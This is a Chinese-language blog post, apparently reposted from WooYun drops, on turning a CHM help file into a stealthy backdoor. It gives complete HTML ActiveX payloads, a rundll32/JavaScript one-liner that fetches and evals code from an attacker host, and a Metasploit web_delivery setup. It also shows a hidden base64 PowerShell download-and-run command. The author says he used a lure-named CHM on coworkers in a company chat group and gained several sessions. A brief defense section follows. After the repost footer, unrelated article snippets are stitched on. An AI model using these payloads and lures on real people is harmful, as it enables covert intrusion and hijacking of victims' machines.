高級組合技打造“完美” 捆綁后門

0x00 簡介


之前寫過一篇關于客戶端釣魚的文章:《使用powershell Client進行有效釣魚》中,在使用各個Client進行測試的過程中,個人發現CHM文件是最好用的一個,但是其缺點就是會彈黑框,這樣就會讓被攻擊者察覺。那么怎么讓他不彈黑框呢?那就是本文要介紹的內容啦~

0x01 CHM 簡介


在介紹怎么使用CHM來作為后門之前,首先要知道CMH是什么東西。

CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常見圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,并可以通過URL與Internet聯系在一起。因為使用方便,形式多樣也被采用作為電子書的格式。

0x02 CHM 制作


CHM的制作方法很多。有多款工具可以使用,這里就不在做詳細的介紹了。本次測試使用了EasyCHM來制作CHM文件,使用起來非常簡單。

新建如下目錄,文件內容隨意:

打開EasyCHM,新建->瀏覽。選擇該目錄。默認文件類型:

點擊確認,即可看到預覽的CHM文件:

選擇編譯,即可編譯成CHM文件。

0x03 CHM Execute Command


14年的時候@ithurricanept 在twitter上發了一個demo,通過CHM運行計算器:

?

利用代碼如下:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',calc.exe'><PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

?將以上代碼寫入html,置于工程目錄進行編譯,生成CHM文件,運行此文件,彈出計算器:

0x04 去除彈框


有測試過nishang Out-CHM 的同學會發現,運行生成的CHM文件的時候會看到明顯的彈框。就像

某個晚上突然腦洞了一下,想到了一個好的方式來讓他不顯示彈框,即結合使用JavaScript Backdoor。經過測試,成功實現在不彈框的情況下獲取meterpreter會話,此次測試使用一個我修改過的python版 JSRat.ps1 ,地址為:MyJSRat。使用方式詳見 readme。

以下為完整的測試過程:

1、結合CHM + JSBackdoor

使用交互模式的JSRat server:

python MyJSRat.py -i 192.168.1.101 -p 8080

?

訪問 http://192.168.1.101:8080/wtf 獲取攻擊代碼如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

?經過多次測試,成功將以上命令寫入chm,其Html代碼為:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'><PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

?編譯以后運行,可以成功獲取JS交互shell:

直接執行cmd /c command 是會有黑框的,可以使用run來避免顯示黑框。執行run以后,輸入 whoami > e:\1.txt 之后通過read 來獲取回顯。

?

2、獲取meterpreter會話

此次測試獲取meterpreter會話的方式是通過執行powershell命令,直接獲取,當獲取客戶端JS 交互shell之后自動執行powershell命令,獲取meterpreter會話。具體操作如下:

開啟MSF web_delivery:

~  msfconsole -Lq
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8081
SRVPORT => 8081
msf exploit(web_delivery) > set uripath /
uripath => /
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

?裝有powershell的客戶端執行以下命令則可獲取meterpreter會話:

powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

?由于存在特殊字符,我們可以把以上代碼編碼為base64格式,將以下代碼存入power.txt

$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.1.101:8081/');

?執行以下命令:

cat power.txt | iconv --to-code UTF-16LE |base64

?

最終要執行的powershell命令為:

powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA

?使用執行命令模式直接獲取meterpreter會話:

python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAb

?測試過程中,從運行CHM到獲取meterpreter,客戶端無明顯異常,全程無黑框彈出,獲取到meterpreter會話如下圖:

?

3、是否被殺?

可能很多人會問,會不會被殺,下面是virscan的查殺結果:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

0x05 利用場景

一張圖說明(讓我猜猜你會不會點):

注: 隨便找了幾個漏洞利用工具修改了文件名,并不代表原作者分享的工具有問題。

?

0x06 實際測試

?


?

是用上述方式制作chm文件,命名為一個比較有吸引力的名字,比如在公司技術群發了一個名字為"制作免殺后門.chm"的文件,實際測試結果如下圖:

成功獲取多個人的meterpreter會話。

0x07 防御


目前我還沒查到什么防御的姿勢,知道的小伙伴可以分享一下。最好就是提高個人安全意識,對于這類文件,多注意一下,盡量別亂點,如果非要點,可以放到虛擬機里面。使用procexp.exe可以看到存在后門的chm文件會開啟新的進程:

對于碰到這種后門,怎么溯源呢,其實也很簡單,chm是可以反編譯為html的。 使用windows自帶的hh.exe 則可進行反編譯。命令如下:

C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 為當前目錄的test文件夾

?執行結果如下:

?

0x08 小結


此次測試就是對一些已知的攻擊手法進行結合,結果是讓此捆綁后門更加隱蔽,近乎“完美”,美中不足的是在文件開啟的時候會出現短暫的卡頓。有時候小漏洞結合起來能造成大危害,小手法結合起來也能成大殺器。本著分享的精神將此姿勢介紹,希望小伙伴們能免受其害。

0x09 參考


  1. https://twitter.com/ithurricanept/status/534993743196090368
  2. https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
  3. http://drops.wooyun.org/tips/11764
  4. https://github.com/samratashok/nishang

本文由evi1cg原創并首發于烏云drops

轉載于:https://www.cnblogs.com/croso/p/5380318.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/257389.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/257389.shtml
英文地址,請注明出處:http://en.pswp.cn/news/257389.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

使用友盟分享心得(SSO登陸,不能獲取accesstoken,不能跳轉APPSSO登陸的問題)

在xcode5中plist 文件是默認有 Bundle DisplayName的 而如果工程是在xcode6環境下開發的話。 這時候就會出現友盟無法跳轉微博跟QQSSO的問題。 solution&#xff1a;在plist中加入bundle DisplayName 轉載于:https://www.cnblogs.com/ZippoatiOS/p/4443933.html

linux單線程處理多個請求,redis是單線程的,如何處理并發請求?

疑問&#xff1a;redis是單線程的&#xff0c;如何并發處理多個請求&#xff1f;下面是我個人的理解。答案是&#xff1a;使用操作系統的多進程機制。也就是我們常說的&#xff0c;多路復用API&#xff0c;多路復用API本質上是對操作系統多路復用功能的封裝。什么是操作系統的多…

Cloudera Manager內部結構、功能包括配置文件、目錄位置等

2019獨角獸企業重金招聘Python工程師標準>>> 問題導讀 1.CM的安裝目錄在什么位置&#xff1f; 2.hadoop配置文件在什么位置&#xff1f; 3.Cloudera manager運行所需要的信息存在什么位置&#xff1f; 4.CM結構和功能是什么&#xff1f; 1. 相關目錄 /var/log/cloud…

python 學習筆記(一)

在Windows上安裝Python 首先&#xff0c;從Python的官方網站www.python.org下載最新的2.7.9版本&#xff0c;地址是這個&#xff1a; http://www.python.org/ftp/python/2.7.9/python-2.7.9.msi 然后&#xff0c;運行下載的MSI安裝包&#xff0c;在選擇安裝組件的一步時&#x…

An ffmpeg and SDL Tutorial

http://dranger.com/ffmpeg/轉載于:https://www.cnblogs.com/qwertWZ/p/4447141.html

linux模式匹配,sed的模式匹配用法探討

[rootsunsky Desktop]# cat sunskyabcdef[rootsunsky Desktop]# cat sunsky|sed 1,2d|sed 1,2def[rootsunsky Desktop]# cat sunsky|sed -e 1,2d -e 1,2ddef問題&#xff1a;sed中-e的意思是直接在指令列模式上進行sed的動作編輯按照&#xff0c;那么按照-e的含義&#xff0c;上…

Qualcomm QXDM工具簡介和log抓取

高通工具簡介QXDM 簡介QXDM 安裝QXDM 激活QXDM 使用AT打開Diagnostic口 QXDM 配置1 Message View ConfigurationMessage PacketsLog PacketsLog PacketsOTAEvent ReportsStrings2 Log View Config3 QXDM-保存配置文件4 QXDM-導入配置文件QPST 端口配置QXDM 抓取log QXDM LOG保存…

layout_gravity

layout_gravity——當前View&#xff0c;本身&#xff0c;在父一級的控件所分配的顯示范圍內的&#xff0c;對齊方式常用在&#xff1a; 當前控件&#xff08;在父一級LineLayout所分配給其的顯示范圍內&#xff09;的對齊方式需要注意的是&#xff0c;如果TableRow的gravity確…

Linux_arm_啟動_c語言部分詳解,[原創]Linux arm 啟動 c語言部分詳解第四講

Linux arm啟動c語言部分詳解第四講(from setup_per_cpu_areas();)Written by leeming上面的setup_arch花了我們大量的篇幅&#xff0c;現在我們要繼續往前推進了。注&#xff1a;黑色為主線&#xff0c;藍色為函數的一級展開&#xff0c;紅色是注意重要的地方。//因為我們沒有定…

Kudu1.1.0 、 Kudu1.2.0 Kudu1.3.0的版本信息異同比較

不多說&#xff0c;直接上干貨&#xff01; Kudu1.1.0 新特性 python API升級&#xff0c;具備JAVA Cclient一樣的功能&#xff08;從0.3版本直接升級到1.1&#xff09;&#xff0c;主要的點如下&#xff1a; 1.1. 改進了Parial Row的語義 1.2. 增加了range partition支持 1.3.…

ASP.NET Web API 中 特性路由(Attribute Routing) 的重名問題

剛才忘了說了&#xff0c;在控制器名重名的情況下&#xff0c;特性路由是不生效的。不然的話就可以利用特性路由解決同名的問題了。 而且這種不生效是真的不生效&#xff0c;不會提示任何錯誤&#xff0c;重名或者什么的&#xff0c;直接會報告404&#xff0c;所以也是個坑。轉…

Python3爬取網頁信息亂碼怎么解決?(更新:已解決)

更新&#xff1a;亂碼問題已經解決了。 將下面代碼中的紅色部分改為下面這樣就不會出現個別職位信息亂碼的情況了。 soup2 BeautifulSoup(wbdata2, html.parser,from_encoding"GBK") 另外&#xff1a; 建立了一個微信公眾號&#xff0c;主要分享軟件視頻教程、文檔筆…

洗衣機洗滌部分c語言程序,51單片機洗衣機控制板及C語言程序

51單片機洗衣機控制板及C語言程序&#xff0c;該控制板單片機采用AT89C51單片機&#xff0c;所設計全自動洗衣機功能有&#xff1a;標準洗衣、經濟洗衣、單獨洗衣以及排水四種洗衣等四種方式&#xff0c;有強洗、弱洗及運行/暫停、顯示及報警功能,程序利用利用Protues仿真軟件觀…

數據存儲

一、NSCoding &#xff1a; 使用NSCoding需要遵守<NSCoding> 保存&#xff1a; /** * 將某個對象寫入文件時會調用 * 在這個方法中說清楚哪些屬性需要存儲 */ MJStudent.m - (void)encodeWithCoder:(NSCoder *)encoder { [encoder encodeObject:self.no forKey:"…

犯人釋放的C語言程序,C語言的自動關機程序和一個用來整人的小程序

可以用C語言中的system()函數來實現系統的自動關機程序&#xff0c;可以設置多長時間后將自動關機。當然馬上關機也是可以的&#xff0c;我們就可以惡搞別人計算機了(你事先得知道怎么解)&#xff0c;將寫好的自動關機程序復制到別人電腦&#xff0c;然后將可執行的文件設為開機…

[mysql] linux下使用yum安裝mysql

From: http://www.2cto.com/database/201207/141878.html linux下使用yum安裝mysql1、安裝查看有沒有安裝過&#xff1a;yum list installed mysql*rpm -qa | grep mysql*查看有沒有安裝包&#xff1a;yum list mysql*安裝mysql客戶端&#xff1a;yum install mysql安裝mysql 服…

圖解MapReduceMapReduce整體流程圖

1.圖解MapReduceMapReduce整體流程圖 并行讀取文本中的內容&#xff0c;然后進行MapReduce操作 Map過程&#xff1a;并行讀取三行&#xff0c;對讀取的單詞進行map操作&#xff0c;每個詞都以<key,value>形式生成 reduce操作是對map的結果進行排序&#xff0c;合并&#…

阿里云推出CloudDBA,解決數據庫性能優化和問題診斷難題

問題診斷(trouble shooting) 和 性能優化(performance tunning) 一直都是數據庫領域的專業問題&#xff0c;需要資深DBA的專業技能才能勝任解決&#xff0c;但這樣的人才是稀缺的&#xff0c;無法及時滿足大部分的企業緊急需求。如果有一款產品能夠在大多數情況下&#xff0c;用…

c語言程序設計學生信息管理系統代碼,c語言程序設計學生成績管理系統源代碼.pdf...

c語言程序設計 學 生 成 績 管 理 系 統 源代碼#include#include#include#include#define MAX 80int a;typedef struct /*定義結構體數組*/{ char num[10];char name[20];int score;} Student;Student stu[MAX];int menu_select(){char c;do{system("cls");/*清屏*/p…

初探ArrayList之刪除

1.返回刪除元素的刪除方法 public E remove(int index) {rangeCheck(index);modCount;//記錄修改次數的變量E oldValue elementData(index);//根據數組下標拿到指定元素int numMoved size - index - 1;//計算移動位數if (numMoved > 0)System.arraycopy(elementData, inde…